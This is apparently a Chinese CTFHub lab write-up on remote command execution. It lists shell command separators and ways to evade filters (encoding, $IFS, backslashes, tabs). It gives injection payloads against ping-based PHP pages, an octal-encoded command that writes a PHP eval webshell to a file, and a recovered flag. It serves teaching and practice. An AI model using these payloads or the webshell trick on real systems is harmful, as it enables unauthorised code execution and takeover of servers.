RCE远程代码执行

命令分割符:

linux:

%0a 、%0d 、; 、& 、| 、&&、||

分隔符 描述
; 如果每个命令都被一个分号(;)所分隔,那么命令会连续地执行下去
&& 前面执行成功后面才会执行
& 不执行错误检查和运行所有命令
|| 前面执行失败才会执行后面
| 符号 左边输出 作为右边输入。会显示最后一个命令的执行结果

windows:

%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

敏感字符过滤绕过:

关于命令执行以及常见的一些绕过过滤的方法

  1. 使用拼接绕过

    a=fl;b=ag;cat $a$b
  2. 使用编码绕过

    • base

      echo MTIzCg==|base64 -d		#123
    • hex

      echo "313233"|xxd -r -p		#123
    • oct

      $(printf "\154\163")		#ls
      #可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
      ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
  3. 反斜杠

    ca\t fl\ag

  4. 单引号和双引号绕过

    ca''t flagca""t flag

  5. ${}执行代码

    ${phpinfo()};

过滤空格:

空格可以用以下字符串代替:

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

命令注入

题目信息:

尝试命令注入:

看到有一个php文件,8061098418328.php,直接用cat,但是没有显示。

解法一:

考虑到可能有无法显示的特殊字符,使用base64输出

<?php // ctfhub{695122f1d00f32ff2578f119f563cdc507df7b8c}

解法二:

尝试写入一句话后门:

后门写入成功

获得flag

过滤cat

本题过滤了cat

使用ca\t绕过

没有回显,尝试通过查看网页源代码,或者base64输出解码得到flag

过滤空格

使用<代替空格:

解法一:

base64

解法二:

127.0.0.1&cat<flag_21154267199923.php

查看源代码:

过滤分割符

查看目录下的文件:

由于过滤了\,考虑先切换到相应目录,在进行查看:

127.0.0.1&cd flag_is_here;ls

可以选择base64或查看网页源代码

这里我选择直接查看源代码

127.0.0.1&cd flag_is_here;cat flag_3975901425465.php

过滤运算符

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||\&)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

过滤了|&,使用;分隔命令:

直接给出payload:

127.0.0.1;cat flag_35923221712564.php

127.0.0.1;base64 flag_35923221712564.php = 127.0.0.1;cat flag_35923221712564.php|base64

综合练习

先看源代码:

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

过滤清单还是比较豪华的。

尝试绕过:

使用%0a分隔命令,使用%09代替空格

查看当前目录下的文件:

查看flag_is_here文件夹下的文件:127.0.0.1%0als%09*is_here

查看flag:

构造payload127.0.0.1%0acd%09*is_here%0atac%09*_32560754932548.php

CTFHub_技能树_远程代码执行的更多相关文章

  1. 【更新WordPress 4.6漏洞利用PoC】PHPMailer曝远程代码执行高危漏洞(CVE-2016-10033)

    [2017.5.4更新] 昨天曝出了两个比较热门的漏洞,一个是CVE-2016-10033,另一个则为CVE-2017-8295.从描述来看,前者是WordPress Core 4.6一个未经授权的R ...

  2. Spring Data REST PATCH请求远程代码执行漏洞(CVE-2017-8046) 本地复现方法

      #1背景 Spring Data REST是Spring Data项目的一部分,可以轻松地在Spring Data存储库之上构建超媒体驱动的REST Web服务. 恶意的PATCH请求使用精心构造 ...

  3. Discuz! 7.1 & 7.2 远程代码执行漏洞

    受影响产品: Discuz! 7.1 & 7.2 漏洞描述: 产生漏洞的$scriptlang数组在安装插件后已经初始化 Discuz!新版本7.1与7.2版本中的showmessage函数中 ...

  4. Natas32 Writeup(Perl 远程代码执行)

    Natas32: 打开后和natas31相似的界面,并且提示,这次您需要证明可以远程代码执行,Webroot中有一个二进制文件可以执行. my $cgi = CGI->new; if ($cgi ...

  5. 漏洞复现-Office远程代码执行漏洞 (CVE-2017-11882&CVE-2018-0802)

    漏洞原理 这两个漏洞本质都是由Office默认安装的公式编辑器(EQNEDT32.EXE)引发的栈溢出漏洞(不要问什么是栈溢出,咱也解释不了/(ㄒoㄒ)/~~) 影响版本 Office 365 Mic ...

  6. CVE-2020-5902 F5 BIG-IP 远程代码执行漏洞

    CVE-2020-5902 F5 BIG-IP 远程代码执行漏洞复现 漏洞介绍 F5 BIG-IP 是美国 F5 公司的一款集成了网络流量管理.应用程序安全管理.负载均衡等功能的应用交付平台. 近日, ...

  7. SMB远程代码执行漏洞(CVE-2020-0796)分析、验证及加固

            这几天有点忙,CVE-2020-0796出来了,没静下心来关注一下,显得太不尊重这个漏洞了,今天周末,关注一下,水一篇. 一.漏洞描述       漏洞公告显示,SMB 3.1.1协议 ...

  8. s2-029 Struts2 标签远程代码执行分析(含POC)

    1.标签介绍 Struts2标签库提供了主题.模板支持,极大地简化了视图页面的编写,而且,struts2的主题.模板都提供了很好的扩展性.实现了更好的代码复用.Struts2允许在页面中使用自定义组件 ...

  9. Spring框架的反序列化远程代码执行漏洞分析(转)

    欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...

随机推荐

  1. curl: (35) LibreSSL SSL_connect: SSL_ERROR_SYSCALL in connection to storage.googleapis.com:443

    安装nvm的时候, ➜  ~ curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.33.2/install.sh | bash 错 ...

  2. 如何在Vim中的查找替换

    “%s/最/第二/g” 用vim的人都知道,这是把所有“最”替换成“第二”的意思.其实vim的查找替换功能非常强大,用的好可以极大提升效率. vim的查找替换命令如下所示:    :{作用范围}s/{ ...

  3. VS Code项目中共享自定义的代码片段方案

    VS Code项目中共享自定义的代码片段方案 一.问题背景 项目中注释风格不统一,如何统一注释风格 一些第三方组件库名称太长,每次使用都需要找文档,然后复制粘贴 部分组件库有自己的Snippets插件 ...

  4. redis性能优化——生产中实际遇到的问题排查总结

    背景 redis-K,V数据库,因其高性能的操作性和支持丰富的数据结构,目前大量被用于衔接应用层和关系数据库中间的缓存层.随着使用的场景越来越多,和数据量快速的递增,在生产环境中经常会遇到相关的性能瓶 ...

  5. cb35a_c++_STL_算法_for_each

    cb35a_c++_STL_算法_for_each for_each(b,e,p)使用for_each()算法遍历数据使用for_each()和函数对象修改数据使用for_each()的返回值 //转 ...

  6. VM virtualBox中文版 v6.0.12.133076官方版(64/-虚拟机

    virtualBox中文版 v6.0.12.133076官方版(64/-虚拟机 http://www.onlinedown.net/soft/82464.htm http://8dx.pc6.com/ ...

  7. 使用本地http的yum源

    使用http作为本地yum源 场景 在生产环境中,有大概好几十台linux同系统版本的操作系统,为了安装普通软件,现在的做法是向每台机器上上传一个iso镜像,然后将镜像挂在,配置本地的yum源,实现基 ...

  8. 01 . 容器编排简介及Kubernetes核心概念

    Kubernetes简介 Kubernetes是谷歌严格保密十几年的秘密武器-Borg的一个开源版本,是Docker分布式系统解决方案.2014年由Google公司启动. Kubernetes提供了面 ...

  9. centos 6.5 上安装jdk

    1.首先明确自己的电脑上32位还是64位,自己的电脑是32位 2.下载jdk进入到oracle公司的主页 把页面拖到最下面 点击上面这个就可以下载以前比较低的版本 这里选择 32位的源码包的方式,将源 ...

  10. 这一次搞懂SpringBoot核心原理(自动配置、事件驱动、Condition)

    @ 目录 前言 正文 启动原理 事件驱动 自动配置原理 Condition注解原理 总结 前言 SpringBoot是Spring的包装,通过自动配置使得SpringBoot可以做到开箱即用,上手成本 ...